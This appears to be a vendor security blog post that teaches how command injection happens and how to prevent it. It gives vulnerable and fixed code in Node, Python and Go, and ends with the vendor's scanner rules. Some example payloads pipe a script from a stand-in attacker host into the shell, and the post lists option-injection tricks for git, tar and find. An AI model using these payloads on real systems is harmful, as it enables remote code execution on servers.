All posts
VibeZero Team7 min read

Command injection, explained

A filename with a semicolon becomes a shell command running on your server. Why the array form is the real fix, and why argument injection survives it.

  • security
  • vibe coding
  • engineering

Command injection is the shortest path from a web request to somebody else’s code running as your application user. There is no memory corruption to get right and no gadget chain to find. You append ; curl attacker.example | sh to a form field, and the shell does what shells do.

It is CWE-78, and it has held a place near the top of the CWE Top 25 Most Dangerous Software Weaknesses for years, which is unusual for a bug this well understood. It persists because shelling out is the fastest way to get a task done, and because the safe form looks slightly less convenient than the dangerous one.

The mechanism

The bug is not “running a program.” It is running a program through a shell when part of the command string came from a request.

// Vulnerable. exec() spawns /bin/sh -c "<string>".
import { exec } from "node:child_process";

app.post("/api/thumbnail", async (req, res) => {
  const { filename } = req.body;
  exec(`convert uploads/${filename} -resize 200x200 thumbs/${filename}`, (err) => {
    if (err) return res.status(500).json({ error: "conversion failed" });
    res.json({ ok: true });
  });
});

A filename of x.png; curl https://attacker.example/s.sh | sh; # produces three commands where the developer wrote one. The shell metacharacters that do this are not exotic: ;, &&, ||, |, backticks, $(...), and a newline all separate or substitute commands.

The critical detail is that exec in Node, subprocess.run(..., shell=True) in Python, system() almost anywhere, and exec.Command("sh", "-c", ...) in Go all do the same thing: they hand a string to a shell and ask it to parse it. The shell has no way to know which bytes you wrote and which bytes a stranger sent.

Shellshock, CVE-2014-6271, is the largest demonstration of the class: a bug in bash’s handling of function definitions in environment variables meant that anything which passed request data into the environment before invoking a shell, including ordinary CGI, executed attacker code. It was mass-exploited within days of disclosure, against servers whose own code contained no injection at all. That is the shape of the risk: the shell is a language interpreter, and any path that lets a stranger contribute to its input is an interpreter you have handed over.

Where it shows up in AI-generated projects

Ask a model for image resizing, video transcoding, PDF generation, a git operation, or a zip extraction, and there is a good chance the answer shells out, because that is how those tasks are done in the tutorials it learned from. The recurring set:

  • convert / ImageMagick and ffmpeg for media, with a user-supplied filename or, worse, a user-supplied option.
  • git clone with a repository URL from a form.
  • youtube-dl or yt-dlp with a URL from a form.
  • unzip, tar, pdftotext, wkhtmltopdf on an uploaded file.
  • ping, nslookup, whois, curl in any “network tools” feature, which is the single most reliably vulnerable feature category on the internet and often doubles as SSRF.

Fix one: do not use a shell

The complete fix is to stop asking a shell to parse anything. Pass the program and its arguments as separate values, and the operating system runs the program directly with the argument vector you supplied. Metacharacters lose their meaning entirely, because nothing is parsing them.

Node:

import { execFile } from "node:child_process";
import { promisify } from "node:util";
import path from "node:path";

const run = promisify(execFile);
const UPLOADS = path.resolve("uploads");

app.post("/api/thumbnail", async (req, res) => {
  const parsed = Filename.safeParse(req.body.filename); // z.string().regex(/^[\w.-]+$/)
  if (!parsed.success) return res.status(400).json({ error: "invalid filename" });

  // Resolve and confirm the path stays inside the upload directory.
  const source = path.resolve(UPLOADS, parsed.data);
  if (!source.startsWith(UPLOADS + path.sep)) {
    return res.status(400).json({ error: "invalid filename" });
  }

  // Arguments as an array. No shell is involved.
  await run("convert", [source, "-resize", "200x200", path.join("thumbs", parsed.data)]);
  res.json({ ok: true });
});

Python:

# Vulnerable
subprocess.run(f"convert {filename} -resize 200x200 out.png", shell=True)

# Safe: a list, and shell=False, which is the default
subprocess.run(["convert", source, "-resize", "200x200", "out.png"], check=True)

Go:

// Vulnerable
exec.Command("sh", "-c", "convert "+filename+" -resize 200x200 out.png")

// Safe
exec.Command("convert", source, "-resize", "200x200", "out.png")

Note what the Node example does besides the array: it validates the filename against a character allowlist and then confirms the resolved path is still inside the uploads directory. Those two checks are not about command injection, they are about path traversal, and they are here because the same handler has both bugs and only one of them is fixed by execFile.

Fix two: remember that arguments are also a language

This is the part most write-ups skip, and it is what separates a fix that holds from one that gets bypassed. Switching to the array form stops the shell from running a second command. It does nothing about the first program interpreting an argument as an option.

If the attacker controls the value of an argument, and that value can begin with a dash, they control the program’s flags:

  • curl with a value starting -o writes to an arbitrary file.
  • git accepts --upload-pack=<command>, which executes it.
  • tar accepts --checkpoint-action=exec=<command>.
  • ffmpeg accepts input protocol options that read local files.
  • find accepts -exec.

The mitigations are cheap, and you generally want all three:

  1. Validate the value’s shape before it becomes an argument. A filename matching ^[\w.-]+$ cannot start with a dash. An id that must be a UUID should be parsed as a UUID.
  2. Use -- where the program supports it, which tells it that everything after is an operand rather than an option: execFile("grep", ["--", pattern, file]).
  3. Prefix relative paths with ./, so a file literally named -rf is passed as ./-rf.

The general principle is the one that runs through every injection post on this blog: fixing the outer grammar does not fix the inner one. A shell parses commands, and the program the shell starts parses options. Both are languages, and user data is safe in neither without being constrained first.

Fix three: prefer a library over a process

The strongest version of this fix is to not spawn anything. sharp instead of convert, isomorphic-git or a proper git library instead of the git binary, a zip library with its own path checks instead of unzip. A library call takes typed arguments and there is no string to parse anywhere in the chain, which removes both this bug and the argument-injection variant at the same time.

That is not always possible (nothing replaces ffmpeg), and when it is not, the array form plus argument validation is the answer. But reach for it first, because the class of bug that cannot occur is better than the class you have to remember to guard.

Defense in depth, for when you miss one

Command injection is severe enough to deserve a second layer, and the second layer is about what the compromised process can reach:

  • Run the application as a non-root user with no shell (USER app in the Dockerfile, and a nologin shell).
  • Do not put credentials in the environment of a process that spawns subprocesses when you can avoid it, because the environment is the first thing an injected command prints.
  • Restrict outbound network access from the application container. Most injection payloads are a downloader, and a container that cannot reach the internet cannot fetch stage two.
  • Keep secrets out of the filesystem the process can read.

None of these prevents the bug. Each of them shortens the distance between “attacker ran a command” and “attacker got nothing useful.”

What we flag

This is one of the classes static analysis is genuinely good at, because the dangerous call is a specific function and the taint path is usually short. Three engines in apps/vibezero-scan-service/app/engines/ cover it by language:

  • Bandit (bandit.py) on Python, for subprocess_popen_with_shell_equals_true (B602), start_process_with_a_shell (B605), subprocess_without_shell_equals_true (B603) as a lower-confidence signal, and linux_commands_wildcard_injection (B609).
  • gosec (gosec.py) on Go, for G204, audit of command execution with non-constant arguments. Our worker runs it at each Go module root, so a monorepo with a nested backend/go.mod is covered rather than skipped.
  • OpenGrep (opengrep.py) across the rest, for child_process.exec with a template literal and the equivalents in other languages.

A caveat worth knowing: these engines flag the dangerous call, and the question of whether the interpolated value is attacker-controlled is the part that needs a human. That is why a scanner finding here is a starting point for tracing, and why the fix (the array form) is worth applying even to call sites where you believe the value is trusted today. Trust is a property of the current code, and the current code changes.

The rule

Never build a command as a string. Name the program, list the arguments, validate each one, and let the operating system do the rest. If you find yourself needing a pipe, a glob, or a redirect, that is a sign the work belongs in your own code rather than in a shell.

ShareXLinkedIn